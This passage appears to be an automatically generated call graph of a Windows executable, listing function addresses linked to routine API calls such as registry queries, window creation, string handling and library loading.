calls 50366->50368 50367 406bb0 18 API calls 50367->50368 50368->50365 50368->50366 50368->50367 50369 46676f 50368->50369 50442 42caac 50368->50442 50370 403420 4 API calls 50369->50370 50371 466789 50370->50371 50372 414b18 50371->50372 50373 414ae8 18 API calls 50372->50373 50374 414b3c 50373->50374 50375 403400 4 API calls 50374->50375 50376 414b6d 50375->50376 50376->50308 50378 466886 50377->50378 50379 466899 50378->50379 50517 42cb3c CharNextA 50378->50517 50379->50325 50381 4668ac 50379->50381 50383 4668b6 50381->50383 50382 4668e3 50382->50325 50382->50333 50383->50382 50518 42cb3c CharNextA 50383->50518 50386 4037aa 50385->50386 50388 40377d 50385->50388 50387 403400 4 API calls 50386->50387 50391 4037a0 50387->50391 50388->50386 50389 403791 50388->50389 50519 4034e0 50389->50519 50392 42c99c 50391->50392 50393 42c9f5 50392->50393 50394 42c9b2 50392->50394 50393->50338 50393->50339 50394->50393 50524 42cb3c CharNextA 50394->50524 50525 42c674 50396->50525 50399 42c8e0 50400 42c8e9 50402 403778 18 API calls 50400->50402 50432->50311 50433->50311 50434->50311 50435->50320 50436->50311 50437->50311 50438->50342 50439->50311 50451 403494 50442->50451 50444 42cabc 50449 42caf2 50444->50449 50455 403744 50444->50455 50459 42c444 IsDBCSLeadByte 50444->50459 50447 42cb36 50447->50368 50449->50447 50460 4037b8 50449->50460 50465 42c444 IsDBCSLeadByte 50449->50465 50452 403498 50451->50452 50453 4034ba 50452->50453 50466 402660 50452->50466 50453->50444 50456 40374a 50455->50456 50458 40375b 50455->50458 50456->50458 50471 4034bc 50456->50471 50458->50444 50459->50444 50461 403744 18 API calls 50460->50461 50463 4037c6 50461->50463 50462 4037fc 50462->50449 50463->50462 50507 4038a4 50463->50507 50465->50449 50467 402664 50466->50467 50468 40266e 50466->50468 50467->50468 50470 4033bc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50467->50470 50468->50453 50470->50468 50472 4034c0 50471->50472 50473 4034dc 50471->50473 50476 402648 50472->50476 50473->50458 50475 4034c9 50475->50458 50477 40264c 50476->50477 50479 402656 50476->50479 50482 402088 50477->50482 50478 402652 50478->50479 50493 4033bc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50478->50493 50479->50475 50479->50479 50483 40209c 50482->50483 50484 4020a1 50482->50484 50494 4019cc RtlInitializeCriticalSection 50483->50494 50485 4020c6 RtlEnterCriticalSection 50484->50485 50487 4020d0 50484->50487 50490 4020a5 50484->50490 50485->50487 50487->50490 50501 401f94 50487->50501 50490->50478 50491 4021f1 RtlLeaveCriticalSection 50492 4021fb 50491->50492 50492->50478 50493->50479 50495 4019f0 RtlEnterCriticalSection 50494->50495 50496 4019fa 50494->50496 50495->50496 50497 401a18 LocalAlloc 50496->50497 50498 401a32 50497->50498 50499 401a81 50498->50499 50500 401a77 RtlLeaveCriticalSection 50498->50500 50499->50484 50500->50499 50502 401fa4 50501->50502 50503 401ff4 50502->50503 50504 401fd0 50502->50504 50506 401f0c 12 API calls 50502->50506 50503->50491 50503->50492 50504->50503 50505 401db4 9 API calls 50504->50505 50505->50503 50506->50502 50508 4038b1 50507->50508 50515 4038e1 50507->50515 50510 4038da 50508->50510 50512 4038bd 50508->50512 50509 403400 4 API calls 50511 4038cb 50509->50511 50513 4034bc 18 API calls 50510->50513 50511->50462 50516 402678 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50512->50516 50513->50515 50515->50509 50516->50511 50517->50378 50518->50383 50520 4034bc 18 API calls 50519->50520 50521 4034f0 50520->50521 50522 403400 4 API calls 50521->50522 50523 403508 50522->50523 50523->50391 50524->50394 50528 42c67c 50525->50528 50527 42c67b 50527->50399 50527->50400 50531 42c68d 50528->50531 50529 42c6f1 50532 42c6ec 50529->50532 50536 42c444 IsDBCSLeadByte 50529->50536 50531->50529 50534 42c6ab 50531->50534 50532->50527 50534->50532 50535 42c444 IsDBCSLeadByte 50534->50535 50535->50534 50536->50532 50572 407908 50569->50572 50573 407925 50572->50573 50580 4075b8 50573->50580 50576 407951 50578 4034e0 18 API calls 50576->50578 50579 407903 50578->50579 50579->49981 50582 4075d3 50580->50582 50581 4075e5 50581->50576 50585 4069a0 19 API calls 50581->50585 50582->50581 50586 4076da 33 API calls 50582->50586 50587 4075ac LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50582->50587 50585->50576 50586->50582 50587->50582 50613 42cbc0 20 API calls 50612->50613 50614 42ccee 50613->50614 50615 42ccf6 GetFileAttributesA 50614->50615 50616 403400 4 API calls 50615->50616 50617 42cd13 50616->50617 50617->49987 50617->50293 50618->50001 50621 46a5fb 50619->50621 50620 46aa73 50622 46aa8e 50620->50622 50623 46aabf 50620->50623 50621->50620 50624 46a6b6 50621->50624 50627 403494 4 API calls 50621->50627 50626 403494 4 API calls 50622->50626 50628 403494 4 API calls 50623->50628 50625 46a6d7 50624->50625 50629 46a718 50624->50629 50630 403494 4 API calls 50625->50630 50631 46aa9c 50626->50631 50632 46a63a 50627->50632 50633 46aacd 50628->50633 50637 403400 4 API calls 50629->50637 50634 46a6e5 50630->50634 50731 468fd0 26 API calls 50631->50731 50636 414ae8 18 API calls 50632->50636 50732 468fd0 26 API calls 50633->50732 50639 414ae8 18 API calls 50634->50639 50641 46a65b 50636->50641 50642 46a716 50637->50642 50644 46a706 50639->50644 50640 46aaaa 50643 403400 4 API calls 50640->50643 50705 403634 50641->50705 50662 46a7fc 50642->50662 50711 4696dc 50642->50711 50647 46aaf0 50643->50647 50649 403634 18 API calls 50644->50649 50653 403400 4 API calls 50647->50653 50648 46a884 50651 403400 4 API calls 50648->50651 50649->50642 50655 46a882 50651->50655 50652 46a738 50656 46a776 50652->50656 50657 46a73e 50652->50657 50658 46aaf8 50653->50658 50726 469b18 57 API calls 50655->50726 50663 403400 4 API calls 50656->50663 50660 403494 4 API calls 50657->50660 50661 403420 4 API calls 50658->50661 50664 46a74c 50660->50664 50665 46ab05 50661->50665 50662->50648 50666 46a843 50662->50666 50667 46a774 50663->50667 50717 47bd90 50664->50717 50665->50007 50672 403494 4 API calls 50666->50672 50720 4699d0 50667->50720 50676 46a851 50672->50676 50674 46a8ad 50682 46a90e 50674->50682 50683 46a8b8 50674->50683 50675 46a764 50677 403634 18 API calls 50675->50677 50678 414ae8 18 API calls 50676->50678 50677->50667 50680 46a872 50678->50680 50684 403634 18 API calls 50680->50684 50681 46a79d 50687 46a7fe 50681->50687 50688 46a7a8 50681->50688 50685 403400 4 API calls 50682->50685 50686 403494 4 API calls 50683->50686 50684->50655 50689 46a916 50685->50689 50694 46a8c6 50686->50694 50691 403400 4 API calls 50687->50691 50690 403494 4 API calls 50688->50690 50692 46a90c 50689->50692 50703 46a9bf 50689->50703 50696 46a7b6 50690->50696 50691->50662 50692->50689 50727 494800 18 API calls 50692->50727 50694->50689 50694->50692 50697 403634 18 API calls 50694->50697 50695 46a939 50695->50703 50728 494aac 32 API calls 50695->50728 50696->50662 50699 403634 18 API calls 50696->50699 50697->50694 50699->50696 50701 46aa60 50730 429144 SendMessageA SendMessageA 50701->50730 50729 4290f4 SendMessageA 50703->50729 50704->50009 50706 40363c 50705->50706 50707 4034bc 18 API calls 50706->50707 50708 40364f 50707->50708 50709 403450 18 API calls 50708->50709 50710 403677 50709->50710 50733 42a040 SendMessageA 50711->50733 50713 4696eb 50714 46970b 50713->50714 50734 42a040 SendMessageA 50713->50734 50714->50652 50716 4696fb 50716->50652 50735 47bdb0 50717->50735 50724 4699fd 50720->50724 50721 469a5f 50722 403400 4 API calls 50721->50722 50723 469a74 50722->50723 50723->50681 50724->50721 51080 469954 57 API calls 50724->51080 50726->50674 50727->50695 50728->50703 50729->50701 50730->50620 50731->50640 50732->50640 50733->50713 50734->50716 50736 403494 4 API calls 50735->50736 50737 47bde3 50736->50737 50738 47bee8 50737->50738 50742 403778 18 API calls 50737->50742 50746 4037b8 18 API calls 50737->50746 50747 47ac24 50737->50747 50991 453344 18 API calls 50737->50991 50992 403800 50737->50992 50996 42c97c CharPrevA 50737->50996 50739 403420 4 API calls 50738->50739 50740 47bdab 50739->50740 50740->50675 50742->50737 50746->50737 50748 47ac76 50747->50748 50751 47ac54 50747->50751 50749 47ac96 50748->50749 50750 47ac84 50748->50750 50754 47aca4 50749->50754 50755 47acf9 50749->50755 50752 403494 4 API calls 50750->50752 50751->50748 51001 479b54 33 API calls 50751->51001 50844 47ac91 50752->50844 50757 47acd3 50754->50757 50758 47acad 50754->50758 50765 47ad07 50755->50765 50766 47ad1a 50755->50766 50756 403400 4 API calls 50760 47b61c 50756->50760 50759 47ace6 50757->50759 51003 453344 18 API calls 50757->51003 50761 47acc0 50758->50761 51002 453344 18 API calls 50758->51002 50763 403494 4 API calls 50759->50763 50764 403400 4 API calls 50760->50764 50768 403494 4 API calls 50761->50768 50763->50844 50769 47b624 50764->50769 50770 403494 4 API calls 50765->50770 50771 47ad3b 50766->50771 50772 47ad28 50766->50772 50768->50844 50769->50737 50770->50844 50774 47ad8b 50771->50774 50775 47ad49 50771->50775 50773 403494 4 API calls 50772->50773 50773->50844 50780 47adac 50774->50780 50781 47ad99 50774->50781 50776 47ad65 50775->50776 50777 47ad52 50775->50777 50779 47ad78 50776->50779 51004 453344 18 API calls 50776->51004 50778 403494 4 API calls 50777->50778 50778->50844 50783 403494 4 API calls 50779->50783 50785 47adcd 50780->50785 50786 47adba 50780->50786 50784 403494 4 API calls 50781->50784 50783->50844 50784->50844 50788 47adee 50785->50788 50789 47addb 50785->50789 50787 403494 4 API calls 50786->50787 50787->50844 50791 47ae0f 50788->50791 50792 47adfc 50788->50792 50790 403494 4 API calls 50789->50790 50790->50844 50794 47ae1d 50791->50794 50795 47ae4b 50791->50795 50793 403494 4 API calls 50792->50793 50793->50844 50796 47ae26 50794->50796 50797 47ae39 50794->50797 50800 47ae59 50795->50800 50801 47ae88 50795->50801 50798 403494 4 API calls 50796->50798 50799 47bd90 57 API calls 50797->50799 50798->50844 50799->50844 50802 47ae75 50800->50802 50803 47ae62 50800->50803 50806 47ae96 50801->50806 50807 47aec4 50801->50807 50805 403494 4 API calls 50802->50805 50804 403494 4 API calls 50803->50804 50804->50844 50805->50844 50808 47aeb2 50806->50808 50809 47ae9f 50806->50809 50812 47aed2 50807->50812 50813 47af01 50807->50813 50811 47bd90 57 API calls 50808->50811 50810 403494 4 API calls 50809->50810 50810->50844 50811->50844 50814 47aeee 50812->50814 50815 47aedb 50812->50815 50818 47af22 50813->50818 50819 47af0f 50813->50819 50817 403494 4 API calls 50814->50817 50816 403494 4 API calls 50815->50816 50816->50844 50817->50844 50821 47af43 50818->50821 50822 47af30 50818->50822 50820 403494 4 API calls 50819->50820 50820->50844 50824 47af51 50821->50824 50825 47af7c 50821->50825 50823 403494 4 API calls 50822->50823 50823->50844 50844->50756 50991->50737 50993 403804 50992->50993 50995 40382f 50992->50995 50994 4038a4 18 API calls 50993->50994 50994->50995 50995->50737 50996->50737 51001->50751 51002->50761 51003->50759 51004->50779 51080->50724 51082 47d809 51081->51082 51085 47d846 51081->51085 51113 455d0c 51082->51113 51085->50015 51087 47d85d 51087->50015 51232 466588 51088->51232 51091->50025 51093 42f56c 51092->51093 51094 42f58f GetActiveWindow GetFocus 51093->51094 51095 41eea4 2 API calls 51094->51095 51096 42f5a6 51095->51096 51097 42f5c3 51096->51097 51098 42f5b3 RegisterClassA 51096->51098 51099 42f652 SetFocus 51097->51099 51100 42f5d1 CreateWindowExA 51097->51100 51098->51097 51101 403400 4 API calls 51099->51101 51100->51099 51102 42f604 51100->51102 51103 42f66e 51101->51103 51263 42427c 51102->51263 51108 494aac 32 API calls 51103->51108 51105 42f62c 51106 42f634 CreateWindowExA 51105->51106 51106->51099 51107 42f64a ShowWindow 51106->51107 51107->51099 51108->50062 51269 44b514 51109->51269 51114 455d1d 51113->51114 51115 455d21 51114->51115 51116 455d2a 51114->51116 51139 455a10 51115->51139 51147 455af0 43 API calls 51116->51147 51119 455d27 51119->51085 51120 47d460 51119->51120 51126 47d55c 51120->51126 51129 47d4a0 51120->51129 51121 47d4ff 51122 403420 4 API calls 51121->51122 51123 47d63f 51122->51123 51123->51087 51126->51121 51131 47d5ad 51126->51131 51202 479150 51126->51202 51128 47bd90 57 API calls 51128->51131 51129->51121 51129->51126 51130 47bd90 57 API calls 51129->51130 51137 47d508 51129->51137 51176 479290 51129->51176 51187 4793f4 51129->51187 51130->51129 51131->51126 51131->51128 51133 454100 34 API calls 51131->51133 51135 47d549 51131->51135 51132 47bd90 57 API calls 51132->51137 51133->51131 51135->51121 51137->51129 51137->51132 51137->51135 51191 42c92c 51137->51191 51196 42c954 51137->51196 51201 47d16c 66 API calls 51137->51201 51148 42de1c 51139->51148 51141 455a2d 51142 455a7b 51141->51142 51151 455944 51141->51151 51142->51119 51145 455944 20 API calls 51146 455a5c RegCloseKey 51145->51146 51146->51119 51147->51119 51149 42de27 51148->51149 51150 42de2d RegOpenKeyExA 51148->51150 51149->51150 51150->51141 51156 42dd58 51151->51156 51153 403420 4 API calls 51154 4559f6 51153->51154 51154->51145 51155 45596c 51155->51153 51159 42dc00 51156->51159 51160 42dc26 RegQueryValueExA 51159->51160 51165 42dc49 51160->51165 51175 42dc6b 51160->51175 51161 403400 4 API calls 51163 42dd37 51161->51163 51162 42dc63 51164 403400 4 API calls 51162->51164 51163->51155 51164->51175 51165->51162 51166 4034e0 18 API calls 51165->51166 51167 403744 18 API calls 51165->51167 51165->51175 51166->51165 51168 42dca0 RegQueryValueExA 51167->51168 51168->51160 51170 42dcbc 51168->51170 51169 4038a4 18 API calls 51171 42dcfe 51169->51171 51170->51169 51170->51175 51172 42dd10 51171->51172 51174 403744 18 API calls 51171->51174 51173 403450 18 API calls 51172->51173 51173->51175 51174->51172 51175->51161 51177 4792a6 51176->51177 51178 4792a2 51176->51178 51179 403450 18 API calls 51177->51179 51178->51129 51180 4792b3 51179->51180 51181 4792d3 51180->51181 51182 4792b9 51180->51182 51183 479150 33 API calls 51181->51183 51184 479150 33 API calls 51182->51184 51185 4792cf 51183->51185 51184->51185 51186 403400 4 API calls 51185->51186 51186->51178 51188 479400 51187->51188 51189 47941b 51188->51189 51214 453344 18 API calls 51188->51214 51189->51129 51215 42c79c 51191->51215 51194 403778 18 API calls 51195 42c94e 51194->51195 51195->51137 51197 42c79c IsDBCSLeadByte 51196->51197 51198 42c964 51197->51198 51199 403778 18 API calls 51198->51199 51200 42c975 51199->51200 51200->51137 51201->51137 51203 47916b 51202->51203 51204 47922a 51203->51204 51207 47919c 51203->51207 51227 479004 33 API calls 51203->51227 51204->51126 51206 4791c1 51210 4791e2 51206->51210 51229 479004 33 API calls 51206->51229 51207->51206 51228 479004 33 API calls 51207->51228 51210->51204 51211 479222 51210->51211 51230 453344 18 API calls 51210->51230 51221 478e88 51211->51221 51214->51189 51216 42c67c IsDBCSLeadByte 51215->51216 51217 42c7b1 51216->51217 51218 42c7fb 51217->51218 51220 42c444 IsDBCSLeadByte 51217->51220 51218->51194 51220->51217 51222 478ec3 51221->51222 51223 403450 18 API calls 51222->51223 51224 478ee8 51223->51224 51231 477578 33 API calls 51224->51231 51226 478f29 51226->51204 51227->51207 51228->51206 51229->51210 51230->51211 51231->51226 51233 403494 4 API calls 51232->51233 51234 4665b6 51233->51234 51249 42dbc8 51234->51249 51237 42dbc8 19 API calls 51238 4665da 51237->51238 51239 466474 33 API calls 51238->51239 51240 4665e4 51239->51240 51241 42dbc8 19 API calls 51240->51241 51242 4665f3 51241->51242 51252 4664ec 51242->51252 51245 42dbc8 19 API calls 51246 46660c 51245->51246 51247 403400 4 API calls 51246->51247 51248 466621 51247->51248 51248->50019 51256 42db10 51249->51256 51253 46650c 51252->51253 51254 4078f4 33 API calls 51253->51254 51255 466556 51254->51255 51255->51245 51257 42db30 51256->51257 51258 42dbbb 51256->51258 51257->51258 51259 4037b8 18 API calls 51257->51259 51261 403800 18 API calls 51257->51261 51262 42c444 IsDBCSLeadByte 51257->51262 51258->51237 51259->51257 51261->51257 51262->51257 51264 4242ae 51263->51264 51265 42428e GetWindowTextA 51263->51265 51267 403494 4 API calls 51264->51267 51266 4034e0 18 API calls 51265->51266 51268 4242ac 51266->51268 51267->51268 51268->51105 51272 44b38c 51269->51272 51273 44b3bf 51272->51273 51274 414ae8 18 API calls 51273->51274 51275 44b3d2 51274->51275 51276 44b3ff GetDC 51275->51276 51277 40357c 18 API calls 51275->51277 51283 41a1e8 51276->51283 51277->51276 51280 44b430 51291 44b0c0 51280->51291 51282 44b444 ReleaseDC 51284 41a2af 51283->51284 51285 41a213 51283->51285 51286 403400 4 API calls 51284->51286 51302 403520 51285->51302 51287 41a2c7 SelectObject 51286->51287 51287->51280 51289 41a26b 51290 41a2a3 CreateFontIndirectA 51289->51290 51290->51284 51292 44b0d7 51291->51292 51293 44b16a 51292->51293 51294 44b0ea 51292->51294 51295 44b153 51292->51295 51293->51282 51294->51293 51303 4034e0 18 API calls 51302->51303 51304 40352a 51303->51304 51304->51289 51307 46514b 51305->51307 51306 465226 51316 466f00 51306->51316 51307->51306 51311 46519b 51307->51311 51328 421a1c 51307->51328 51308 4651de 51308->51306 51334 4185b8 21 API calls 51308->51334 51311->51308 51312 4651d5 51311->51312 51313 4651e0 51311->51313 51314 421a1c 21 API calls 51312->51314 51315 421a1c 21 API calls 51313->51315 51314->51308 51315->51308 51317 466f30 51316->51317 51318 466f11 51316->51318 51317->50086 51319 414b18 18 API calls 51318->51319 51320 466f1f 51319->51320 51321 414b18 18 API calls 51320->51321 51321->51317 51325 46ab7d 51322->51325 51331 421a74 51328->51331 51333 421a2a 51328->51333 51331->51311 51332 421a59 51332->51331 51343 421d28 SetFocus GetFocus 51332->51343 51333->51332 51335 408cbc 51333->51335 51334->51306 51336 408cc8 51335->51336 51344 406dec LoadStringA 51336->51344 51339 403450 18 API calls 51340 408cf9 51339->51340 51341 403400 4 API calls 51340->51341 51342 408d0e 51341->51342 51342->51332 51343->51331 51345 4034e0 18 API calls 51344->51345 51346 406e19 51345->51346 51346->51339 51391 46c619 51390->51391 51392 46c666 51391->51392 51393 414ae8 18 API calls 51391->51393 51395 403420 4 API calls 51392->51395 51394 46c62f 51393->51394 51597 466798 20 API calls 51394->51597 51397 46c710 51395->51397 51397->50166 51589 408be0 19 API calls 51397->51589 51398 46c637 51399 414b18 18 API calls 51398->51399 51400 46c645 51399->51400 51401 46c652 51400->51401 51403 46c66b 51400->51403 51598 47eab4 56 API calls 51401->51598 51404 46c683 51403->51404 51405 46687c CharNextA 51403->51405 51599 47eab4 56 API calls 51404->51599 51407 46c67f 51405->51407 51407->51404 51408 46c699 51407->51408 51409 46c6b5 51408->51409 51410 46c69f 51408->51410 51411 42c99c CharNextA 51409->51411 51600 47eab4 56 API calls 51410->51600 51413 46c6c2 51411->51413 51413->51392 51601 466908 18 API calls 51413->51601 51415 46c6d9 51416 451458 18 API calls 51415->51416 51417 46c6e6 51416->51417 51602 47eab4 56 API calls 51417->51602 51420 4241ed SetActiveWindow 51419->51420 51425 424223 51419->51425 51603 42364c 51420->51603 51424 42420a 51424->51425 51426 42421d SetFocus 51424->51426 51425->50178 51425->50179 51426->51425 51428 481fe9 51427->51428 51429 481fbb 51427->51429 51431 4759c0 51428->51431 51616 49485c 32 API calls 51429->51616 51617 457b60 51431->51617 51435 475a16 51641 46e17c 51435->51641 51590->50174 51597->51398 51598->51392 51599->51392 51600->51392 51601->51415 51602->51392 51612 4235f8 SystemParametersInfoA 51603->51612 51605 423665 ShowWindow 51608 423670 51605->51608 51609 423677 51605->51609 51615 423628 SystemParametersInfoA 51608->51615 51611 423b14 LocalAlloc TlsSetValue TlsGetValue TlsGetValue SetWindowPos 51609->51611 51611->51424 51613 423616 51612->51613 51613->51605 51614 423628 SystemParametersInfoA 51613->51614 51614->51605 51615->51609 51616->51428 51618 457c94 51617->51618 51619 457b8c 51617->51619 51620 457ce5 51618->51620 52093 4573c8 20 API calls 51618->52093 52089 45785c GetSystemTimeAsFileTime FileTimeToSystemTime 51619->52089 51623 403400 4 API calls 51620->51623 51625 457cfa 51623->51625 51624 457b94 51626 4078f4 33 API calls 51624->51626 51638 4072a8 51625->51638 51627 457c05 51626->51627 52090 457b50 34 API calls 51627->52090 51629 403778 18 API calls 51633 457c0d 51629->51633 51630 457c5b 51631 457c8a 51630->51631 51635 403778 18 API calls 51630->51635 52092 457b50 34 API calls 51631->52092 51633->51629 51633->51630 51634 457b50 34 API calls 51633->51634 51634->51633 51636 457c82 51635->51636 52094 403738 51638->52094 51642 46e1ef 51641->51642 51644 46e199 51641->51644 51644->51642 52089->51624 52090->51633 52092->51618 52093->51620 52095 40373c SetCurrentDirectoryA 52094->52095 52095->51435 53308 431eec 53269->53308 53271 403400 4 API calls 53272 43da76 53271->53272 53272->50235 53272->50236 53273 43d9f2 53273->53271 53275 431bd6 53274->53275 53276 402648 18 API calls 53275->53276 53277 431c06 53276->53277 53278 494368 53277->53278 53279 49443d 53278->53279 53280 494382 53278->53280 53285 494480 53279->53285 53280->53279 53281 433d6c 18 API calls 53280->53281 53284 403450 18 API calls 53280->53284 53313 408c0c 18 API calls 53280->53313 53314 431ca0 53280->53314 53281->53280 53284->53280 53286 49449c 53285->53286 53322 433d6c 53286->53322 53288 4944a1 53289 431ca0 18 API calls 53288->53289 53290 4944ac 53289->53290 53291 43d594 53290->53291 53292 43d5c1 53291->53292 53297 43d5b3 53291->53297 53292->50246 53293 43d63d 53301 43d6f7 53293->53301 53325 447084 53293->53325 53295 43d688 53331 43dd50 53295->53331 53297->53292 53297->53293 53298 447084 18 API calls 53297->53298 53298->53297 53299 43d8fd 53299->53292 53351 447024 18 API calls 53299->53351 53301->53299 53302 43d8de 53301->53302 53349 447024 18 API calls 53301->53349 53350 447024 18 API calls 53302->53350 53305->50248 53306->50250 53307->50237 53309 403494 4 API calls 53308->53309 53311 431efb 53309->53311 53310 431f25 53310->53273 53311->53310 53312 403744 18 API calls 53311->53312 53312->53311 53313->53280 53315 431cc0 53314->53315 53316 431cae 53314->53316 53318 431ce2 53315->53318 53321 431c40 18 API calls 53315->53321 53320 402678 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53316->53320 53318->53280 53320->53315 53321->53318 53323 402648 18 API calls 53322->53323 53324 433d7b 53323->53324 53324->53288 53326 4470a3 53325->53326 53327 4470aa 53325->53327 53352 446e30 18 API calls 53326->53352 53329 431ca0 18 API calls 53327->53329 53330 4470ba 53329->53330 53330->53295 53332 43dd6c 53331->53332 53337 43dd99 53331->53337 53333 402660 4 API calls 53332->53333 53332->53337 53333->53332 53334 43ddce 53334->53301 53336 43fea5 53336->53334 53362 447024 18 API calls 53336->53362 53337->53334 53337->53336 53338 447024 18 API calls 53337->53338 53340 43c938 18 API calls 53337->53340 53341 433b18 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53337->53341 53345 433d18 18 API calls 53337->53345 53346 436650 18 API calls 53337->53346 53347 431c40 18 API calls 53337->53347 53348 446e30 18 API calls 53337->53348 53353 4396e0 53337->53353 53359 436e4c LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53337->53359 53360 43dc48 32 API calls 53337->53360 53361 433d34 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53337->53361 53338->53337 53340->53337 53341->53337 53345->53337 53346->53337 53347->53337 53348->53337 53349->53301 53350->53299 53351->53299 53352->53327 53354 4396e9 53353->53354 53355 403400 4 API calls 53354->53355 53356 43c8e8 53355->53356 53363 403a38 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53356->53363 53359->53337 53360->53337 53361->53337 53362->53336 57628 42f520 57629 42f52b 57628->57629 57630 42f52f NtdllDefWindowProc_A 57628->57630 57630->57629 53365 416b42 53366 416bea 53365->53366 53367 416b5a 53365->53367 53384 41531c 18 API calls 53366->53384 53369 416b74 SendMessageA 53367->53369 53370 416b68 53367->53370 53380 416bc8 53369->53380 53371 416b72 CallWindowProcA 53370->53371 53372 416b8e 53370->53372 53371->53380 53381 41a058 GetSysColor 53372->53381 53375 416b99 SetTextColor 53376 416bae 53375->53376 53382 41a058 GetSysColor 53376->53382 53378 416bb3 SetBkColor 53383 41a6e0 GetSysColor CreateBrushIndirect 53378->53383 53381->53375 53382->53378 53383->53380 53384->53380 57631 4358e0 57632 4358f5 57631->57632 57636 43590f 57632->57636 57637 4352c8 57632->57637 57641 4352f8 57637->57641 57647 435312 57637->57647 57638 403400 4 API calls 57639 435717 57638->57639 57639->57636 57650 435728 18 API calls 57639->57650 57640 446da4 18 API calls 57640->57641 57641->57640 57642 403450 18 API calls 57641->57642 57643 402648 18 API calls 57641->57643 57645 431ca0 18 API calls 57641->57645 57646 4038a4 18 API calls 57641->57646 57641->57647 57648 403744 18 API calls 57641->57648 57651 4343b0 57641->57651 57663 434b74 18 API calls 57641->57663 57642->57641 57643->57641 57645->57641 57646->57641 57647->57638 57648->57641 57650->57636 57652 43446d 57651->57652 57653 4343dd 57651->57653 57682 434310 18 API calls 57652->57682 57655 403494 4 API calls 57653->57655 57657 4343eb 57655->57657 57656 43445f 57658 403400 4 API calls 57656->57658 57659 403778 18 API calls 57657->57659 57660 4344bd 57658->57660 57661 43440c 57659->57661 57660->57641 57661->57656 57664 4944b4 57661->57664 57663->57641 57665 4944ec 57664->57665 57666 494584 57664->57666 57667 403494 4 API calls 57665->57667 57683 448930 57666->57683 57671 4944f7 57667->57671 57669 403400 4 API calls 57670 4945a8 57669->57670 57672 403400 4 API calls 57670->57672 57673 4037b8 18 API calls 57671->57673 57676 494507 57671->57676 57674 4945b0 57672->57674 57675 494520 57673->57675 57674->57661 57675->57676 57677 4037b8 18 API calls 57675->57677 57676->57669 57678 494543 57677->57678 57679 403778 18 API calls 57678->57679 57680 494574 57679->57680 57681 403634 18 API calls 57680->57681 57681->57666 57682->57656 57684 448955 57683->57684 57694 448998 57683->57694 57685 403494 4 API calls 57684->57685 57687 448960 57685->57687 57686 4489ac 57689 403400 4 API calls 57686->57689 57691 4037b8 18 API calls 57687->57691 57690 4489df 57689->57690 57690->57676 57692 44897c 57691->57692 57693 4037b8 18 API calls 57692->57693 57693->57694 57694->57686 57695 44852c 57694->57695 57696 403494 4 API calls 57695->57696 57697 448562 57696->57697 57698 4037b8 18 API calls 57697->57698 57699 448574 57698->57699 57700 403778 18 API calls 57699->57700 57701 448595 57700->57701 57702 4037b8 18 API calls 57701->57702 57703 4485ad 57702->57703 57704 403778 18 API calls 57703->57704 57705 4485d8 57704->57705 57706 4037b8 18 API calls 57705->57706 57717 4485f0 57706->57717 57707 448628 57709 403420 4 API calls 57707->57709 57708 4486c3 57712 4486cb GetProcAddress 57708->57712 57713 448708 57709->57713 57710 44864b LoadLibraryExA 57710->57717 57711 44865d LoadLibraryA 57711->57717 57714 4486de 57712->57714 57713->57686 57714->57707 57715 403b80 18 API calls 57715->57717 57716 403450 18 API calls 57716->57717 57717->57707 57717->57708 57717->57710 57717->57711 57717->57715 57717->57716 57719 43da88 18 API calls 57717->57719 57719->57717 53385 416644 53386 416651 53385->53386 53387 4166ab 53385->53387 53392 416550 CreateWindowExA 53386->53392 53388 416658 SetPropA SetPropA 53388->53387 53389 41668b 53388->53389 53390 41669e SetWindowPos 53389->53390 53390->53387 53392->53388 57720 4222e4 57721 4222f3 57720->57721 57726 421274 57721->57726 57724 422313 57727 4212e3 57726->57727 57741 421283 57726->57741 57730 4212f4 57727->57730 57751 4124d0 GetMenuItemCount GetMenuStringA GetMenuState 57727->57751 57729 421322 57733 421395 57729->57733 57738 42133d 57729->57738 57730->57729 57732 4213ba 57730->57732 57731 421393 57734 4213e6 57731->57734 57753 421e2c 25 API calls 57731->57753 57732->57731 57736 4213ce SetMenu 57732->57736 57733->57731 57740 4213a9 57733->57740 57754 4211bc 24 API calls 57734->57754 57736->57731 57738->57731 57744 421360 GetMenu 57738->57744 57739 4213ed 57739->57724 57749 4221e8 10 API calls 57739->57749 57743 4213b2 SetMenu 57740->57743 57741->57727 57750 408d2c 33 API calls 57741->57750 57743->57731 57745 421383 57744->57745 57746 42136a 57744->57746 57752 4124d0 GetMenuItemCount GetMenuStringA GetMenuState 57745->57752 57748 42137d SetMenu 57746->57748 57748->57745 57749->57724 57750->57741 57751->57730 57752->57731 57753->57734 57754->57739 53393 480441 53398 451004 53393->53398 53395 480455 53408 47f4f0 53395->53408 53397 480479 53399 451011 53398->53399 53401 451065 53399->53401 53414 408c0c 18 API calls 53399->53414 53402 450e88 InterlockedExchange 53401->53402 53403 451077 53402->53403 53405 45108d 53403->53405 53415 408c0c 18 API calls 53403->53415 53406 4510d0 53405->53406 53416 408c0c 18 API calls 53405->53416 53406->53395 53417 40b3c8 53408->53417 53410 47f55d 53410->53397 53411 4069dc 18 API calls 53412 47f512 53411->53412 53412->53410 53412->53411 53421 4764b4 53412->53421 53414->53401 53415->53405 53416->53406 53418 40b3d3 53417->53418 53419 40b3f3 53418->53419 53437 402678 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 53418->53437 53419->53412 53433 47652e 53421->53433 53434 4764e5 53421->53434 53422 476579 53438 451294 53422->53438 53423 451294 35 API calls 53423->53434 53425 451294 35 API calls 53425->53433 53426 476590 53428 403420 4 API calls 53426->53428 53427 4038a4 18 API calls 53427->53434 53430 4765aa 53428->53430 53429 4038a4 18 API calls 53429->53433 53430->53412 53431 403744 18 API calls 53431->53434 53432 403450 18 API calls 53432->53434 53433->53422 53433->53425 53433->53429 53435 403450 18 API calls 53433->53435 53436 403744 18 API calls 53433->53436 53434->53423 53434->53427 53434->53431 53434->53432 53434->53433 53435->53433 53436->53433 53437->53419 53439 4512a4 53438->53439 53440 4512af 53438->53440 53439->53426 53444 451238 35 API calls 53440->53444 53442 4512ba 53442->53439 53445 408c0c 18 